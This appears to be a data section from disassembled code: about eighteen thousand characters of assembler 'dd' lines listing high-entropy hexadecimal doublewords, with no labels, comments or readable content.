dd 0C4EFACADh, 9BF56FEEh, 6B375F82h, 0ED467509h, 0BADD932Eh
dd 1E92DA3Ch, 38864FDEh, 0A9C55C7Ch, 13794E33h, 6D2D5566h
dd 2CA44DC8h, 27EC06F5h, 0D41D16CBh, 4802B0D7h, 22D58412h
dd 86AAAFB1h, 7F18225Dh
dd 0D9B415B7h, 0B49A3BBEh, 1E431C29h, 175E8C85h, 0E84C6A66h
dd 3BDD3C24h, 0D03B95FDh, 0EB183133h, 40BA7109h, 7EA1A83Bh
dd 0BB385A6Dh, 0CB522116h, 6DA89F9Fh, 264E8FBAh, 0F55D5175h
dd 4C5DD57Fh, 6B6C61A8h, 6C9BF168h, 8A552D95h, 0C16E1D80h
dd 0F5FEC31Fh, 0A39C7EA5h, 0F7EB3BD6h, 0FD213F72h, 0E715ED8Dh
dd 2CB7F689h, 36FF00B5h, 0CD797DFEh, 3EC8EEAFh, 460BF27Ch
dd 53F819B4h, 8C19EC88h, 2F14580Bh, 0ADC8D9B4h, 500697CBh
dd 67257681h, 0CA3AF022h, 45298691h, 355BFFC8h, 5C0A57BFh
dd 1075F6D2h, 0CC9A80B5h, 0B40A50D6h, 6BCD967Fh, 4B328BF4h
dd 26494148h, 4C1D7AAAh, 0EF6787F5h, 24E31AF6h, 0D65292B4h
dd 1FA5E1FCh, 9FCD397Dh, 436F5916h, 5C07B823h, 38F4BF74h
dd 0C766380Eh, 0F87DE72Dh, 2A42491Eh, 0F2202116h, 2DAABE12h
dd 0D85E3EE7h, 8640C76Fh, 251BEDC3h, 2B11C481h, 76CCFA3Fh
dd 657FF224h, 16BEE531h, 0E7ABA5FAh, 4F5F866Dh, 40B6F0D8h
dd 880B2478h, 0BEA4233Dh, 0F74422D1h, 0C271FA31h, 1E236E91h
dd 0F208D788h, 0E91785Dh, 1BB8E674h, 0AF9AEBACh, 0D262B1B5h
dd 3F9824E9h, 2BD48E5h, 53F70DD1h, 495AF861h, 4AD67E3Ch
dd 88F6A632h, 0E1A2CEFFh, 0A6812E66h, 0D448F1B0h, 0C0ED119h
dd 385B687Eh, 794FE713h, 9D93E4EEh, 0FCD160D9h, 40C19D50h
dd 2973D8B7h, 722D2152h, 0BFA3ABA4h, 53407554h, 0B01D2668h
dd 64F91A61h, 1E5F57EFh, 3653A143h, 6CC82DE5h, 0E2CFEF96h
dd 7A10C8C4h, 0A41F7396h, 8B727E12h, 6681B420h, 0E2627B9h
dd 425757E1h, 7CE82715h, 7591ECD2h, 0D700FA03h, 460CA12Fh
dd 0D38AFE94h, 8A144770h, 1E946225h, 0F1EFAEB5h, 8D6260FCh
dd 0ED74A3A1h, 84D9E917h, 32FCBE18h, 33F0DA44h, 587C56B7h
dd 0E82B7A8Dh, 2F51DD26h, 447D2716h, 0D0D51894h, 3DDFA22Fh
dd 4373F625h, 0EB02BF7h, 645DA564h, 35B77D56h, 78D12BEh
dd 0CF189C49h, 10979CD9h, 0F4F91725h, 0C91027ECh, 0FAF62692h
dd 84B3C72Bh, 0AD7A5FA9h, 9A6DC5DBh, 248565E6h, 788D7C0Dh
dd 0A75A5401h, 0AF28EAE4h, 2E7A26EBh, 0E4A7B4D8h, 87B10963h
dd 143E066Dh, 87DEC8EAh, 84E4B0C5h, 0FC96837Dh, 2D6C643Dh
dd 0BA393270h, 0CF031044h, 38F3CF30h, 35B47996h, 22D66B54h
dd 7E83D6E4h, 0FE9326C8h, 2250E387h, 8B265B49h, 3FCD86DCh
dd 0ACE2FF63h, 705D4154h, 0C9919056h, 533C4831h, 0D103CC2Ch
dd 6684B96Ch, 7BBE42BFh, 0DF15131Fh, 4950CAAAh, 9E1F6696h
dd 71D1343Eh, 34CBD3D4h, 0DC4DFE20h, 7485B585h, 0B888C91Eh
dd 4B675FF7h, 3AC44583h, 341C5469h, 94B80170h, 3B0EDB5Bh
dd 93EB33E7h, 56FC9D22h, 286F587Ah, 55F096EFh, 0ABCBB3C9h
dd 724E06F1h, 578EC6Fh, 6D385A47h, 6AAD3518h, 0DAB14521h
dd 0EBFA17CDh, 92AB543Bh, 71B71DF3h, 508EE800h, 5D61216Dh
dd 0FB1431D7h, 90A84080h, 52771B74h, 0FA901022h, 0C90548CEh
dd 63F61BAEh, 802ED0C7h, 0D3ECFF61h, 0D6D13631h, 41348DA7h
dd 0D9AFF2B9h, 0CB176C38h, 27306A57h, 26F750BBh, 0D63F7283h
dd 0B205C28h, 0A127B8EEh, 3C5D09FAh, 31F12E52h, 3324EA59h
dd 43BB540Ah, 771F4F05h, 0B9C39CF8h, 0B9F644A9h, 8E283CD4h
dd 1BDABDA3h, 4F460E5h, 8C018AD6h, 0FB62645h, 99EA840h
dd 0DEF3C2D5h, 9CE38667h, 12F2FA45h, 13C58CCAh, 25520818h
dd 0A2C5F3FAh, 839F7168h, 9031AE3Dh, 3533B742h, 0A9308097h
dd 561D048Bh, 5211366Eh, 0B89F511Eh, 365DDF52h, 87906049h
dd 2FD5FBA8h, 78A60CFEh, 9DFB09D2h, 0CAB9FEBCh, 9CEF3ACEh
dd 0E140F44Bh, 0CC45DC7Bh, 1D15EA21h, 0B290DBD7h, 540AFAF4h
dd 0E02013Bh, 0D519A1D0h, 0EA0223E6h, 6DFDEF9Bh, 87EA54F8h
dd 0E14474F9h, 42D0594Bh, 0BFE168E1h, 558E7E8Fh, 0D9606545h
dd 0D0A15414h, 7D647510h, 0CA55B5F7h, 933D4140h, 0C111CC19h
dd 0AB9F4002h, 5A4EDDF0h, 0B5205114h, 74E2E7F3h, 7E54D3BEh
dd 46AA7A2Bh, 65043B7Ah, 6E71BA63h, 931CA092h, 10A7AF57h
dd 0F61FA505h, 579FD189h, 7310DEB3h, 5BAEC2AAh, 0C7D37EA8h
dd 45895C94h, 19D0D4A6h, 9A8C5316h, 0FBEC6980h, 39197B89h
dd 8DC24008h, 0A66EA1Dh, 0DAE82D0h, 0DED8EF90h, 85CE63EFh
dd 0C98AFEB8h, 70F2E554h, 248FFE33h, 0A9119E06h, 0B2DEB2C6h
dd 13E84FA1h, 4D4AABFCh, 0BD076D1Fh, 0A07DB91Dh, 9594527h
dd 0DD9F7F47h, 0E302595Ah, 983E5C44h, 12B1413h, 7012873Ch
dd 2DF2432Bh, 8DBEEF9Bh, 678243A5h, 0E56D4D87h, 93528CBBh
dd 6492EC23h, 0DA40696h, 0F6904CE0h, 4FB3A471h, 1020AB98h
dd 0F4635736h, 0B813EDDDh, 0BFA66730h, 783AE40Ch, 0C1F7A346h
dd 0F219E1D7h, 4E00906Eh, 0B26D2127h, 2988A7DFh, 0D7832CE5h
dd 537207F4h, 0DC21C4E9h, 0BC1F1AD5h, 0CAF71791h, 80D3EE37h
dd 0F9544DE6h, 0C22A3F6Fh, 0D0BC92Fh, 0AB7B7BBAh, 28042053h
dd 637E138Dh, 1DEA3BC4h, 1E63305Fh, 0C22DDE7Eh, 0BE01ACD4h
dd 0B905A67Dh, 0C3025C88h, 0B4BDA24Bh, 0C6CF194h, 400C78C3h
dd 7437344Ch, 9EA2E985h, 0DDBCEA1Fh, 0AB65DC1Ah, 36FA5A46h
dd 0C6145672h, 6B6645E4h, 2F592FB5h, 0D118D549h, 17E55753h
dd 31294293h, 0CD0AB637h, 0EFFFA411h, 9F7345BAh, 389F391Bh
dd 0CB795A64h, 0CC2BE50Ah, 2270AEE2h, 0C1D1CA9Ch, 5E5BC24Fh
dd 2616CC40h, 33D4D423h, 0CE029B45h, 4E8304A4h, 0D93478DCh
dd 0B82F0F21h, 66ECA5DEh, 41FF6C86h, 9BA876E6h, 3512B9B5h
dd 0C3272CFAh, 82BEAB0Dh, 0CD8215CBh, 0EE795613h, 7E0EC46Ch
dd 524326C9h, 30855D4Eh, 9A26C445h, 78A8D7Fh, 3A269F36h
dd 885E4610h, 3C65797Dh, 83A22117h, 0D1AE1548h, 0E3658C4Ah
dd 928A64A0h, 72616FE9h, 0C7DDB058h, 5C7E3E40h, 0E7AB177Ah
dd 44906F44h, 0DBADACD3h, 0CF7F909Ch, 17FFF964h, 0E1B8AA2Eh
dd 0D4C5F5DBh, 0D50E49C7h, 0C22708B0h, 2939F8B8h, 44BDC6A3h
dd 89C37C05h, 0D2541110h, 0BA51BC0Ch, 68046FECh, 633A9E25h
dd 0D002E4CBh, 0DAC3CBA1h, 5C2E9ABFh, 0EA77F00Bh, 777073E5h
dd 142D0E6Eh, 208E3D98h, 9F0E1B7Ch, 75DBF1D0h, 0F351F2DBh
dd 0F3C94E27h, 0BFB630F9h, 9A663FCAh, 587D8E8Dh, 544D2D04h
dd 400000F3h, 0B893DDC7h, 6FBBFD51h, 5B816884h, 0D0C9112Dh
dd 0B40D96E2h, 0A9B07C4Eh, 15839738h, 6DD9009h, 0B6361975h
dd 0B337C532h, 98243BE1h, 0EBE8F9FFh, 792A29DDh, 0B41578Ah
dd 0E1FBFAA6h, 7F92A5A8h, 0C2AE6B87h, 778DC48Bh, 3F8E7061h
dd 11869F00h, 9459A959h, 0C00FCAEDh, 0CACE8CDAh, 4CA4E7D5h
dd 0CB05953Eh, 3F3575A3h, 26824EDh, 526EC64Dh, 4FDBB630h
dd 0FBF09F77h, 0C3FEA476h, 233C1EEAh, 59076242h, 6A0C86F6h
dd 58A87EFDh, 9CC8105Ch, 0C2E605A0h, 2B735464h, 9AD24A48h
dd 362F037Ch, 91371A14h, 86C0C920h, 7FC9E11h, 0A286D2A5h
dd 13D6E074h, 13B5779Dh, 482A0952h, 0C2C08CC4h, 0B2E13A24h
dd 0DF0320DCh, 159D7000h, 95619E36h, 92B15499h, 894467C7h
dd 1CCC783Ah, 0E1D701D8h, 6AFDD06Dh, 0B6D1992Bh, 2E6874BFh
dd 0EC004F50h, 18EFDAF2h, 0E664787Ch, 0A88DDEB2h, 89E459E2h
dd 6E4C3259h, 0D70CCFCEh, 0E428786Fh, 59E6F355h, 0F55EC451h
dd 99F2C7CBh, 0B3DBA79Fh, 38614C8Ch, 370F25DCh, 0B6346C89h
dd 0FF6BEE6Ah, 23AB939Eh, 29927EE9h, 23CF2921h, 4EFAAADh
dd 0F429F6C5h, 149C0653h
dd 0D06FCB0h, 0D568063Dh, 0DA6CAEE9h, 65CBACA0h, 3F2C1161h
dd 5910D5F3h, 0CBB3515Fh, 0EA302338h, 65222431h, 9D9FF519h
dd 0EC0DD3B8h, 9A62484Bh, 9FA73F8Ch, 7ADA5286h, 68733F0Ah
dd 19138210h, 2CD4C24Eh, 0B3264B2Bh, 6CDDB77Ah, 9DFFBF0Fh
dd 0A4F2B749h, 73AC64F4h, 0DC5F1126h, 191CF157h, 47F87462h
dd 0C2C42F9Ch, 84400502h, 0AE450B97h, 296EC61Bh, 9FF278CBh
dd 0AD12281Fh, 93BEE843h, 899CA8F9h, 0B5CB26E9h, 7CCC09A7h
dd 0D17CCB50h, 0F0F4FA96h, 8302CFF9h, 0EEEDD76h, 511F8334h
dd 0A52CB086h, 0A0674F80h, 2C08EC8Eh, 1AA3C791h, 3EDB377Dh
dd 0EB9B4506h, 1A21AE65h, 0BE4FA1DDh, 0EEF6A9CAh, 0C6E7579Eh
dd 0EE2514E6h, 0E3C3D309h, 0B6A66F92h, 0F78832DAh, 4F0564EAh
dd 0B621CE09h, 0E566B4EBh, 0A022CBECh, 86EF74FEh, 85631B3Ch
dd 6B214D14h, 617C2ADFh, 17B98A6h, 76A5E733h, 7A6BB342h
dd 0CEB257BDh, 0A065022Bh, 0BFEF216Eh, 0FA8F4D2Bh, 0A0605243h
dd 0EEB6DFDAh, 4DD95756h, 407A7035h, 72EE6EE0h, 75FB391Eh
dd 53C0A588h, 0E4BD7D64h, 96B58193h, 0A5D08ADFh, 0F189A306h
dd 31B34C26h, 0D81EED57h, 0E6DB021Ch, 0B252AC70h, 128D666h
dd 451A57A0h, 0D91AD4DCh, 372092D6h, 0DDBA099Dh, 0CEABE3A7h
dd 9CD47E22h, 4591A6C0h, 517B66A4h, 0D410DF2Bh, 0B2AA4929h
dd 0C8A5F34Ch, 0C526FAB9h, 8D6376D1h, 78E32C66h, 68503DEBh
dd 0FB7F7920h, 30617C5Eh, 0C391BECAh, 964DFED6h, 65DDC932h
dd 0B03F408Ch, 1042AB45h, 3016DF55h, 0D56DB5C8h, 1C1B3DBAh
dd 54579259h, 0BDFFA7FCh, 0D1F51733h, 0D90EDD45h, 86F25F99h
dd 165C1C58h, 61D0B5C2h, 0FB71F77Dh, 0D8743212h, 1B98961Bh
dd 8B9BF545h, 9BE9201Dh, 0DE95D3E5h, 526159E1h, 0A3CCB686h
dd 0A4EDB4CAh, 6B525A92h, 91676CD8h, 4841CC90h, 692B43FAh
dd 8BED21D6h, 5ACFA8D9h, 2993F887h, 250A4ED5h, 0B75F99BDh
dd 1830E7B2h, 0DC8F6001h, 702A49A3h, 0ACA6CAB2h, 7F40AF25h
dd 5C8C9E91h, 9F8A9F22h, 9DEF71E3h, 18CD43D3h, 0D8551BC1h
dd 0A0E824C0h, 17919C08h, 7307EA0Ah, 42B7FC49h, 0AA4F9562h
dd 0CCF5457h, 6A6BF088h, 0D8F02A4Ah, 0DC106821h, 8030AA87h
dd 515379C8h, 57FE92BAh, 9B929931h, 0D6C662CBh, 0C2A419D3h
dd 70C48BAAh, 48449AD0h, 0CF723F49h, 0A77FDAFFh, 4C5F5E11h
dd 0BB3DE96Ah, 868B4DBh, 4B622B38h, 5C652359h, 2C97BD03h
dd 630F289Ch, 81678ECBh, 98EB306Dh, 3DD255B7h, 12BA15A6h
dd 0DC9D363Bh, 35679FF9h, 0C4A63137h, 83511D93h, 304E3C5h
dd 3ED5415Ch, 2E10F63Eh, 6F9D87A8h, 0F8844FE2h, 0D37E42CFh
dd 6855181Fh, 11FACEB4h, 5EFF1229h, 0DAB093DCh, 1DC3901Bh
dd 0B9B742F0h, 87E1B409h, 0AE0DE9E4h, 36EE4130h, 7337CEDBh
dd 69CB5D23h, 0B62C33E0h, 295D9C6Fh, 274A2E3Bh, 231E2336h
dd 0B2494B6Fh, 0C7981E6Dh, 0C37826B0h, 678CF9C3h, 8A152AC5h
dd 5DB8F311h, 94AAB668h, 36190EF4h, 71F3A105h, 8A9A19F5h
dd 4299A38h, 0BB3840E7h, 0BDB46F1Dh, 1C8003D5h, 4E32A546h
dd 0E906F3Dh, 2CA5E1FEh, 770E1930h, 5F61AC65h, 1D109027h
dd 0C0AB3C97h, 0DC8248ECh, 2C1C0F7Ah, 0B2EB1D27h, 86E6E10Ah
dd 0CF7A58FDh, 0F50B669Bh, 4F23C066h, 0C9A838ABh, 0E16CAFC7h
dd 9F9C6C51h, 0DC4AA064h, 443B25BAh, 61C730E8h, 0E65B5Ch
dd 0C41FED78h, 265861Ah, 5BC2A57Bh, 0E8053F85h, 113DE30Eh
dd 0AF7FC5E5h, 0A0E69899h, 84003D2Eh, 0F6965301h, 51BD3F0Bh
dd 0F536D703h, 0E209BFBEh, 0D7F697A1h, 9D6EA0B0h, 390E36F3h
dd 20812499h, 84CF1C25h, 8C3FF271h, 2B973CDEh, 0FEA9A961h
dd 8008F2C1h, 0DCF99CD4h, 3BDADDEBh, 83D224C8h, 0BFD35059h
dd 4E6B45F6h, 95670CD3h, 4C532A56h, 0A86EADC2h, 4C924FCCh
dd 90028A03h, 3EDBD214h, 0E9E82AEAh, 5DCD4BE3h, 6878B139h
dd 7AC2712Dh, 0CFE69C8Ch, 0E7FE2864h, 0D242ACF5h, 0F6A0513Ah
dd 74B0E57Ch, 0F86C2FE4h, 0CC584699h, 949469A8h, 87DBF3CAh
dd 23306CC4h, 95F78D8Dh, 0B7C918D5h, 0C145D007h, 7579032Bh
dd 191C6EDDh, 0BAC4B80Bh, 8D507538h, 0F2ED21B7h, 3D16B055h
dd 5D41EDB1h, 0BAC2097Eh, 59E88987h, 0B45A3CF8h, 0D168BB10h
dd 2E89779Fh, 0E356F96Ch, 261452ACh, 3297A2C9h, 7BEBC9A7h
dd 3C20FF6Dh, 0A6FFB999h, 7E458E98h, 7B861E32h, 5338C54Ah
dd 6C2BF440h, 6846427Ch, 9C6620A5h, 5AFDC817h, 0A5975C96h
dd 0C11A2E45h, 8C56495Ch, 0B1A82703h, 738181D7h, 6730B724h
dd 82693EE5h, 52339EFBh, 9251CADh, 0A285BB35h, 4715F023h
dd 0CCBE3F67h, 159B0BF8h, 0C16FE287h, 5F521EDh, 218BEAF3h
dd 0A0F646C8h, 70EE7707h, 0A41C9242h, 0A125AF29h, 8646109h
dd 0B90DDACFh, 0D8BCF8EEh, 0DAFE07E8h, 0AFB25B63h, 2E0F16CAh
dd 79572A93h, 612E2E88h, 0A93DBC8Eh, 0C6324CEh, 32050210h
dd 72FB8198h, 382285E5h, 53B09EDh, 7A10047Bh, 15627B7Fh
dd 97E43979h, 5046CC13h, 38886F5Fh, 6FA10B49h, 0CC736264h
dd 3C2F086Ah, 5B487F6Ah, 0EB4EE16Fh, 78C1C64Ch, 858764FAh
dd 0F9155D5Ch, 25341A9Ch, 11210D06h, 3095854Bh, 6F372B87h
dd 0DB43FB8Ah, 6B07761Ch, 7EF0C74Dh, 959AADA7h, 1D5C992Fh
dd 14536C86h, 0F2C0C1A6h, 0FBD1040Bh, 0AD011A63h, 0ABB3A1ECh
dd 0A4653E6Dh, 16734041h, 87C0983Fh, 58CE1424h, 0D73952h
dd 44040EFCh, 0B7CAE62Eh, 0BEFDC9C2h, 3B096C88h, 1F99A760h
dd 8F799F0h, 7D288AE1h, 8843CC5Ch, 0E9AC21h, 972EE342h
dd 92A44AEEh, 0A3CE213Fh, 2E5CC09h, 1FE1C5BBh, 0E2DDAEEAh
dd 2E199559h, 0B66769CBh, 0C339130Eh, 0D4A1B2B6h, 0A72E4EF3h
dd 0B1FC51F3h, 0C7F24DF5h, 99503A22h, 3D7F8613h, 0C3951C4Fh
dd 43092D22h, 618964B4h, 7AD6DDA5h, 0DF1D73BAh, 0D2B8DAC0h
dd 0F570FBFDh, 27D53BBBh, 0D6E5F09Ch, 7C19D581h, 0B304397Ch
dd 0CD9A3B7Bh, 0B74FEFD0h, 0E1446E3Ah, 6B0340Bh, 0CEDE7D59h
dd 0C016571h, 527A39E2h, 35DF27h, 3D765781h, 0C473FE1Dh
dd 4C4D1215h, 9FCB2152h, 0CE1FDFE8h, 3092BC8Fh, 8F58E760h
dd 211BB851h, 0EF1271E8h, 202DB9DAh, 5EA14517h, 1C9D1DA3h
dd 0B6F9BABDh, 0A578C9B6h, 0A2B3D4B5h, 0B01D76C6h, 67D41BB6h
dd 12A78481h, 882404E2h, 0BCA92946h, 6B82D388h, 1013562Fh
dd 809BECA3h, 0DD87528h, 6F5F6E19h, 6107DC85h, 0EE39BDBFh
dd 0B16F2A84h, 679BE370h, 0A847B993h, 46D8B4ABh, 0FD1AF716h
dd 0CDF1FC07h, 0F6482253h, 5E073233h, 77DB8654h, 2683E851h
dd 92EB1533h, 776EC5CDh, 0ADE16153h, 517711D8h, 0BC17D14Ch
dd 56AE9531h, 0E6C5FA38h, 5C63584Dh, 23BE2060h, 0E7DF5655h
dd 8A870D8Ah, 94310Eh, 32C00EC6h, 0C6A63274h, 0BEB127E8h
dd 63CF77D1h, 0E81AB9D3h, 9D78389Fh, 0F58F2710h, 2262DF78h
dd 6B8DE5AFh, 0D7169D22h, 646887B0h, 731B5FCDh, 0CC8DC719h
dd 5E346F59h, 8EE2BBCBh, 0D57BDE58h, 2E4553h, 0B84C6759h
dd 0DAE1D5D3h, 13FDC630h, 0B351103Fh, 0BB133C3Fh, 818F1FC5h
dd 920B082Eh, 0CC45725Fh, 20FF62F8h, 0B14BE135h, 0CD325234h
dd 16C241B8h, 0BB0A34E2h, 0B1A1BAF8h, 0B2DE0B25h, 8D6B5B6Ch
dd 0FDC006Bh, 0EE02BBCEh, 0D988A711h, 3C844DDCh, 58EB4B7Eh
dd 0E68DE2C9h, 2DA03BCh, 9790C677h, 898903F5h, 0B47EB222h
dd 1D946148h, 7ADB7A40h
dd 52ADAB21h, 82E96E65h, 0F49A28A0h, 0F4E061DDh, 2D74E485h
dd 60F1FB55h, 0C29851E2h, 678FBFE5h, 8ACD3516h, 262DE8EEh
dd 0DF85FC5Ch, 0A5CDAB6Eh, 0D44F0CEEh, 525B90Bh, 32DAC964h
dd 249925B8h, 14E9B494h, 40E11EF4h, 0D9D6886Eh, 0F99F0388h
dd 130F5E2Eh, 1377A352h, 0C353A92Fh, 9BA860C8h, 36EBB1E3h
dd 0DF8CA10h, 0D65DED48h, 5911348Bh, 2F7B0DE7h, 9FA20740h
dd 3E9D26D4h, 71B70915h, 7110D82Bh, 4035051Fh, 40BB5D9Ch
dd 161F7ABAh, 0CEAA12C9h, 7FFA63E3h, 2F71BEB4h, 680597DFh
dd 5978F4EEh, 0E9884426h, 0EB921643h, 4BCBD2D0h, 95DE35D9h
dd 1DCE9DC6h, 3792DC1Dh, 0F92D2F5Bh, 6274B655h, 0A292D842h
dd 10275B2Ch, 98029836h, 193000BCh, 0D6F74FFAh, 90411F44h
dd 8B50510Bh, 9FA099D6h, 0C2323690h, 798D9179h, 0C84A374Ch
dd 19880EEDh, 0DC3053h, 64E39A77h, 5F64FCD6h, 6F4608F9h
dd 0AF478D5Ah, 25DE6D49h, 0D673E07Dh, 7EBAE412h, 7B449740h
dd 87D38D87h, 87A74Eh, 907C20BBh, 5BA0AC00h, 0A78C025Fh
dd 412FA7ABh, 0DF0521DCh, 670C285Dh, 0DC951F47h, 0AF04AE9Eh
dd 0FD952C4h, 865445C0h, 0EFB9441Ch, 0BDB4B266h, 4B29EB41h
dd 67387C74h, 6DA8521h, 8B4C79D5h, 0FFBBD3BAh, 0FF28CBE9h
dd 2E605BBBh, 95BF59A7h, 2CCC0F04h, 0F1D5A594h, 0FED9DF15h
dd 0C136E521h, 0E907AE56h, 0DF61E781h, 7549B189h, 0D35B2788h
dd 863B4BF5h, 1A915E50h, 0ABA11342h, 5284351Ch, 445E2F25h
dd 69040C99h, 740A436Ah, 3B23B44Dh, 0DB8D26B5h, 88B7578Dh
dd 537276EAh, 0F04CD24Bh, 0BC4895A5h, 42152B9h, 0C897ED97h
dd 23F57A65h, 2592C2C2h, 284C6F78h, 9E235B0Fh, 0CB403B18h
dd 0EB7EFB14h, 3C8FB7F2h, 161E111Fh, 94A72FDEh, 1E395EA1h
dd 11A96F7Ah, 6785E110h, 9214AB25h, 35D7880Eh, 0D8F03501h
dd 5F94C19Ah, 0C3FD60EDh, 3ED3F319h, 7E668513h, 0F1340F1Ch
dd 0ACF13142h, 0DF3FA3BFh, 2A6F54A7h, 61B6242Eh, 1DB1BFE2h
dd 0DF6054EFh, 41CD27F1h, 75F449AAh, 0FAD0CA09h, 67CB8C7Ch
dd 6F48E9Eh, 4529304Ah, 0FFA25122h, 0CCAA729Dh, 0F9E8E173h
dd 22DED9EEh, 0C514AD87h, 29317161h, 2B0B0061h, 7C24CF64h
dd 26312FE8h, 0C0C71DEBh, 9DF23934h, 0C01447B0h, 0C48C688Eh
dd 0C0DAE4BDh, 81E420B9h, 840B71FCh, 7EB8FCD4h, 98BB7A4Ah
dd 85CF26F1h, 96427E91h, 9E6AFCC9h, 0E996479Bh, 0A4029041h
dd 0FE7CBED0h, 0E446C5EEh, 7F85170Ah, 0CAC99A5Fh, 58BF6B79h
dd 200A5DEh, 76CDD0CBh, 0FA8A6469h, 26993A9Dh, 0AA538861h
dd 4E1274C1h, 3269B6F5h, 345F8BBEh, 210DEABEh, 15DFFF86h
dd 60ABC01Dh, 0D045ACB9h, 46810B93h, 30101450h, 0F16C67CBh
dd 0AE28D7CFh, 0A514F3CBh, 0F3A38A52h, 39E7E217h, 8B53431Ch
dd 0FD548F58h, 236D7478h, 58ED3354h, 0EE19A168h, 4FC92EF8h
dd 0AD544A00h, 16335533h, 8013A60h, 0E5560CD7h, 24E1F220h
dd 0E629EA6h, 0EA031D7Ch, 0F1A2504Ch, 23DF5D6Fh, 54E7DFDCh
dd 1757A0AFh, 4F63298Ah, 3D1066C7h, 0CF69B03h, 0BEFE95C3h
dd 778316D2h, 0ADADC43h, 0E62A0E41h, 0FA0A0055h, 0A15297CEh
dd 18C20D2h, 64694334h, 618ECF5Ch, 91587326h, 0D32592A4h
dd 681F62F4h, 6A6945D3h, 0D47DCBB8h, 7ECA2AFFh, 4C5687Ah
dd 82E74029h, 0FC527A5Dh, 7D01BDDFh, 0F7B2B7A8h, 1B9B5BE2h
dd 11FB0ADBh, 335BC8FFh, 354EFDFh, 0DFEE2339h, 184C7116h
dd 2AF97F8Dh, 1AC682D2h, 7A872998h, 0E69266C8h, 8F19DB6Ah
dd 380DCAECh, 416D6B1Bh, 0A4511B0Ah, 9D1C8901h, 94EBB93Ah
dd 0F5FC3E15h, 0B857EF79h, 6CBFA22Eh, 619F344h, 1266F5B2h
dd 4D933035h, 8F41FC81h, 0E4812643h, 91E9DF03h, 213C4155h
dd 0E7489A99h, 3F79EFB6h, 577824DCh, 9467672Bh, 60091EF4h
dd 0DF9B7C87h, 6E1EB35Ch, 0DEDCF3D6h, 5B59D063h, 8ED59C9Eh
dd 6357B5F4h, 7C700452h, 3EB1D124h, 6C8AE0DAh, 0E3D8C4F7h
dd 0CFAD9F74h, 1AC5309h, 62BFD726h, 0D66BD5B8h, 84AD9377h
dd 49A06170h, 0CCE273F7h, 0CD3329DAh, 0B9D6622Eh, 1DC69C69h
dd 80EDFEA1h, 6254A89Dh, 0DE071C9h, 6BF66A24h, 0AE52F259h
dd 0AD370670h, 0E14DF94Fh, 847C77A0h, 0C0F3A53Bh, 0A1567C5h
dd 94ABB338h, 0C4291455h, 21D308E5h, 0D3CD3C72h, 8B49D202h
dd 99B6B664h, 883C7842h, 8589A0ABh, 397773B6h, 4BA2EC6h
dd 97D4460Ah, 5BE8041Ah, 0BA26AD61h, 0EA5D9AC4h, 7EE0BEBBh
dd 7597C959h, 2C434ED9h, 0D3D66B95h, 856B2BE2h, 0FBEDDD98h
dd 0F27A731Ah, 884EC77Ah, 5336D008h, 0C30202D6h, 0DFA03A1Ch
dd 67F459F8h, 9F7EC14h, 0CE1806F8h, 0D41424C4h, 0E44EC309h
dd 0F0CE124Ch, 0EBB6A8D9h, 6E65D0BEh, 0EEBCE031h, 0D1278FABh
dd 0C6A9A710h, 54F71E76h, 5A2E639h, 970B103Fh, 5744BD89h
dd 9EC069E2h, 6BC97238h, 953C3D72h, 209E9C04h, 0B153F3E2h
dd 3F99C8ADh, 6FF1F673h, 0D284CB5Bh, 4EF926A4h, 0B506F0DFh
dd 0CB395300h, 813F8A6h, 9A19042Bh, 9F38F91Ah, 0AA1A203Ah
dd 0FC15D72Ch, 6C1EC190h, 5B811F6Eh, 0BB5049D2h, 3F65A33Fh
dd 9F66B33Ah, 6D651E10h, 0D019BC2Ah, 0A6974842h, 5D8EEDE6h
dd 0B946B5F9h, 91782575h, 0B0604469h, 0CA23B6AAh, 3F525A05h
dd 58E94F21h, 8B73A06Fh, 4B28241Ch, 5B9017C1h, 8CA4FC2Fh
dd 566AA8F6h, 0A6B39C4Bh, 0DC7420F8h, 0ABAB682Eh, 0D293DCB3h
dd 0BFAD6D60h, 0D7A516A1h, 5B258342h, 0F03B6769h, 0CCB211E6h
dd 0BFC72729h, 628CBA11h, 6693EAABh, 210EB5Dh, 9598D626h
dd 0CABA1A0Dh, 0F2CE9CC7h, 0A982D154h, 0F410F9D9h, 6B4B7ABAh
dd 4D06ECF1h, 2BA751C6h, 2EFB3015h, 39270789h, 0A63B088h
dd 0A90F2F0Fh, 5F8805E2h, 0CF66FA12h, 4E293DB4h, 46E17C52h
dd 8ABF9EDAh, 68B348C5h, 20C273E1h, 605D40E9h, 8AEF2E3Ch
dd 0ED5E1D77h, 8DA45E52h, 99D566C8h, 0F7E10844h, 36BD5634h
dd 4D0C8775h, 59C04F5Ah, 0C7642A4h, 2BB62E14h, 2141ECB4h
dd 75112514h, 34757611h, 38D495EFh, 0F4515E1Eh, 0EFEFB35Bh
dd 0A5352B9Dh, 0A721F490h, 2438227Dh, 55EA78D8h, 2AB64EFBh
dd 0F2D8822Ch, 0AE9F6209h, 2482CC8Ch, 93BE7BBDh, 9F501B24h
dd 0FD6E7B20h, 0A0A05ED5h, 2268EBD2h, 0DA7833CAh, 0DC9508C7h
dd 0A08190D4h, 0F4075B20h, 0F9A49A43h, 6A03C44Ah, 240058E4h
dd 70C6DF1Dh, 6A89857Ch, 111B3511h, 6F743AB4h, 0C78D0913h
dd 0F46C501Ch, 0CBFE3283h, 0CC9C34E0h, 718E392Eh, 0A9D6F169h
dd 0E3861D07h, 0C8A4E703h, 4719E400h, 1E6A2F4Bh, 4F37B570h
dd 47E54A43h, 763C30BBh, 2B285C45h, 88D913C0h, 47F41615h
dd 4526B056h, 0E308D698h, 0FFBD72FCh, 6EF08570h, 7BEB9CDBh
dd 0EC4EBBBh, 50488CC2h, 0C443DD86h, 0D54B9019h, 8D906F9Eh
dd 8269E2EAh, 0CF5A0A4Fh, 1C7B601Dh, 11A655ACh, 0B7351840h
dd 213E0h, 40CF4887h, 0D52097BDh, 7BE4D744h, 0A006EDC4h
dd 75300460h, 13606E91h, 10CA3083h, 0F49EDF28h, 850DFE1Ch
dd 48E27286h, 0B5D5CE45h, 2AAB3DC5h, 416DD607h, 0B8AB5F69h
dd 971BF208h, 955520E8h, 679F8D7Ah, 64B70FF7h, 0F1CD582Ch
dd 0B1C4E396h, 0D8F157C8h, 14B63B4h, 0F6FC34F2h, 9227CEA2h
dd 0DCAA22D8h, 0CD85E45Ch, 1346AC5Ch, 0CE0B90E8h, 126C65BAh
dd 0F0234A96h, 0C2837811h, 0DADB0126h, 0E7A2A3E0h, 4F3AF9Eh
dd 0E0F6CC2Bh, 0E8E04C46h
